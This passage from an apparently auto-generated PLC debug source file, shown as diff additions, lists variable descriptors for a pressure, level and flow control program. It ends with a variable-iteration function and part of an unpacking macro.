UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p 